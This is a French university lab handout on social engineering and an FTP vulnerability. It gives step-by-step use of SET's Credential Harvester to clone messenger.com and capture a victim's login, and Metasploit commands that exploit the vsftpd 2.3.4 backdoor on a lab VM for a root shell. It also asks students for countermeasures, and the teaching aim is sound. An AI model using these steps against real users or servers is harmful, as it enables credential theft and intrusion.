

Séance 7

Ingénierie sociale et vulnérabilité FTP

Ce TP a pour but de vous faire découvrir deux nouveaux types d'attaques et les contre-mesures qui peuvent être mises en oeuvre pour s'en prémunir. Un objectif indirect est de vous permettre de commencer à prendre en main Kali Linux et ses outils.

Note 1 : Avant de partir vous devrez m'envoyer, à l'adresse suivante (romain.dulout@u-bordeaux.fr), un court rapport répondant à l'ensemble des questions posées en précisant le numéro de la séance.

Note 2 : Lorsque des commandes nécessitant des privilèges administrateurs seront utilisées, il sera nécessaire d'utiliser la commande *sudo* sous Debian GNU/Linux et *doas* sous OpenBSD.

Note 3 : Pour mettre ServMutillidae en FR : *sudo loadkeys fr*

Note 4 : Sur les dernières versions de VirtualBox, il peut être nécessaire de réaliser une étape de configuration pour que l'ensemble des adresses IP puissent être utilisées (et vboxnet1 créé). L'étape en question consiste à créer un fichier *"/etc/vbox/networks.conf"* contenant *"* 0.0.0.0/0 :::0"* et à relancer VirtualBox. Pour en savoir plus : https://www.virtualbox.org/manual/ch06.html#network_hostonly

A. Attaque par ingénierie sociale

Cette première mise en pratique a pour objectif de montrer un exemple d'ingénierie sociale en combinant des techniques d'hameçonnage (phishing) et de typosquattage. Concrètement nous allons mettre en ligne la page d'authentification de Facebook et inciter la victime pour qu'elle se connecte sur cette page dans le but de récupérer ses identifiants lorsqu'elle tente de se connecter à son compte.

Q1. Qu'est ce qu'une attaque par ingénierie sociale ? Quels sont les principaux types existants ?

(Source : <https://www.ibm.com/fr-fr/topics/social-engineering>)

Q2. Qu'est le typosquattage ?

(Source : <https://www.kaspersky.fr/resource-center/definitions/what-is-typosquatting>)

a. Mise en place de l'attaque

La première étape consiste à mettre en service le site de « facebook » (messenger) cloné. Dans notre scénario :

- Nous allons récupérer le nom d'utilisateur et le mot de passe de la victime ;
- Le serveur ne sera accessible que de l'intérieur du réseau local mais, sur une véritable attaque, il est bien évidemment accessible sur Internet via, très souvent, un nom de domaine proche de l'original (principe du typosquattage), par exemple « faacebook.com ».

La deuxième étape consiste à inciter la victime à se connecter sur le site cloné ou à attendre qu'elle s'y connecte seule par inadvertance (ce qui sera ici le cas pour la démonstration).

Clonage du site de Facebook et mise en service

La machine Kali sera utilisée pour réaliser le clone du site de Facebook. L'outil SET (Social Engineering Toolkit) permet d'effectuer une multitude d'attaques de type ingénierie social.

Il est installé par défaut sur Kali ==> Applications [13] Social Engineering Tools / Social Engineering Toolkit.

- Ouvrez le, acceptez la licence et saisissez le mot de passe de l'utilisatrice etusio de Kali.
- Dans notre cas, nous allons suivre le mode opératoire suivante (étapes à suivre dans l'arborescence de l'application) :
 1. « Social-Engineering Attacks » en tapant 1 dans la console.
 2. « Website Attack Vectors » en tapant 2 dans la console.
 3. « Credential Harvester Attack Method » en tapant 3 dans la console.
 4. « Site Cloner » en tapant 2 dans la console.

A ce stade là, deux informations sont demandées :

- L'adresse du serveur clone est pré-renseignée, il s'agit par défaut de l'adresse IP de votre serveur : dans une réelle attaque, ce serveur sera accessible sur Internet et comme cela est précisé dans le texte, il faut dans ce cas saisir l'adresse IP externe.
- L'url du site web à cloner, dans notre exemple <https://messenger.com/>

Q3. Quelle aurait été la différence si nous avions choisi/entrepris une attaque de type tabnabbing ?

(Source : <https://pentestlab.blog/2012/03/20/tabnabbing-attack-method/>)

b. Accès au site à partir de la machine cliente

Sur le client Debian

- Ouvrez un navigateur, renseignez l'adresse IP du poste Kali (<http://192.168.56.12>)
Après avoir accepté les cookies ou gérer les paramètres, vous avez accès à l'authentification.

Q4. Que se passe-t-il du côté du client lorsque vous entrez des identifiants et mots de passe et validez ? Vers quoi êtes vous renvoyés ?

En retournant sur Kali, vous pourrez constater que l'outil SET récupère de nombreuses informations sur la connexion.

- Terminez l'attaque et générez le rapport dans « /root/.set/reports/ » avec la combinaison CTRL + C.
- Ouvrez le rapport généré et recherchez le login et le mot de passe de la connexion cliente.

Q5. Quelles informations contient ce rapport ?

Note : Pour accéder au rapport il faudra vous connecter en root ("sudo su") et accéder au dossier (~/.set/reports/)

c. Proposition de contre-mesures

A ce stade, vous devriez avoir compris le mode opératoire des attaquants.

Q6. En vous appuyant sur les ressources suivantes, listez les contre-mesures principales du côté des organisations pour limiter les attaques de typosquatting (anticipation, réaction) ainsi que les bonnes pratiques côté internautes afin d'éviter le typosquatting.

(Sources : <https://www.kaspersky.fr/resource-center/definitions/what-is-typosquatting>;
<https://www.windtopik.fr/typosquatting-comment-sen-proteger/>)

B. Exploitation d'une faille applicative du service FTP via l'outil « Metasploit »

Cette section a pour objectif d'exploiter une vulnérabilité sur un service réseau, en l'espèce, le service FTP et mettre en place une contre-mesure.

Q7. Qu'est ce qu'un service FTP ? Qu'est ce que vsftpd que nous allons considérer ici ?

(Source : <https://doc.ubuntu-fr.org/vsftpd>)

a. Découverte du serveur

A l'aide de commandes vues au cours des séances précédentes (utilisation de nmap), découvrez sur quel port du serveur Metaploistable le service FTP visé est en fonctionnement.

Note : vous pourrez obtenir plus d'informations concernant ce service en utilisant la commande suivante : `nmap -A -SERVER_IP- -p -SERVICE_PORT-`

Q8. De quel port s'agit-il ? Quelle est la version de vsftpd installée ? Quelles informations supplémentaires pouvez-vous récupérer à l'aide de la commande ci-dessus ?

b. Exploitation de la vulnérabilité avec le Framework Metasploit

Nous allons réaliser, via le framework « Metasploit » présent sur le client « Kali », une attaque de type backdoor où un attaquant utilise un problème de sécurité non corrigé dans le démon FTP pour accéder au serveur et qui lui permettra de remplacer les fichiers source du démon FTP par une version contenant une porte dérobée qui offre à l'attaquant l'accès à un shell avec les privilèges de root.

Q9. Qu'est ce que ce Framework ? Quels sont ses principaux usages ?

Pour réaliser une initiation un peu plus complète de metasploit vous pouvez vous reporter à ces liens :

- <https://www.it-connect.fr/chapitres/utilisation-de-metasploit/>
- <https://medium.com/swlh/metasploit-framework-basics-part-1-manual-to-automatic-exploitation-8182d0917193>

Nous allons réaliser les actions suivantes sur l'attaquant Kali

- Avant d'utiliser Metasploit et générer la première attaque, il est nécessaire de démarrer le service de base de données PostgreSQL que Metasploit doit utiliser pour tracer les différentes actions que l'on va mener : **sudo systemctl start postgresql.service**
- Démarrez maintenant la console metasploit : **sudo msfconsole**

Cette commande va initialiser la base de données et l'utilisateur PostgreSQL appelé msf, correspondant au nom de la base de données de stockage des données. Cela permet également de démarrer un appel de procédure distante (ou RPC) ainsi qu'un serveur web.

Q10. Définissez les termes "exploit" et "payload"

(Source: <https://www.baeldung.com/cs/exploit-vs-payload>)

- Sélectionnez l'exploit associé au service VsFTPd 2.3.4. Le plus simple est d'utiliser l'auto complétion sur Metasploit.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Après avoir utilisé le module, il est indiqué quelle est la charge utile à utiliser (vous pouvez retrouver la charge utile via la commande « show payloads »).

- Saisissez la commande info qui donne des détails sur la vulnérabilité exploitable.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
```

- Saisissez la commande options pour découvrir les options disponibles pour l'exploitation de la vulnérabilité.

Q11. A quoi correspondent les termes « RHOSTS », « RPORT » ?

- Pour chaque option du module, cette dernière doit obligatoirement être spécifiée dans la commande suivante si « Required » est à « yes » et si aucune valeur (ou une valeur erronée) ne figure sous « Current Setting ». Ici, seule l'option RHOSTS doit être spécifiée (RPORT est à « Yes » mais la valeur 21 est déjà spécifiée par défaut).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16
.10.5
RHOSTS => 172.16.10.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

- Précisez le payload (la charge utile) que vous voulez utiliser (pour nous cela sera celui par défaut).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/u
nix/interact
PAYLOAD => cmd/unix/interact
```

- Lancez l'exploit (via la commande exploit ou la commande « exploit » ou « run » (qui est un alias de la commande « exploit »).

Nous avons réussi à ouvrir un « shell » en tant que super utilisateur « root » sur le serveur Metasploit.

- Depuis le shell « exploit », déplacez-vous dans le répertoire /home/ftp et créez un fichier.
- Vérifiez la présence du fichier sur la machine metasploitable.

Q12. En quoi le site suivant pourrait-il être utile pour se prémunir contre ce type d'attaques ?

(Source : <https://www.cvedetails.com>)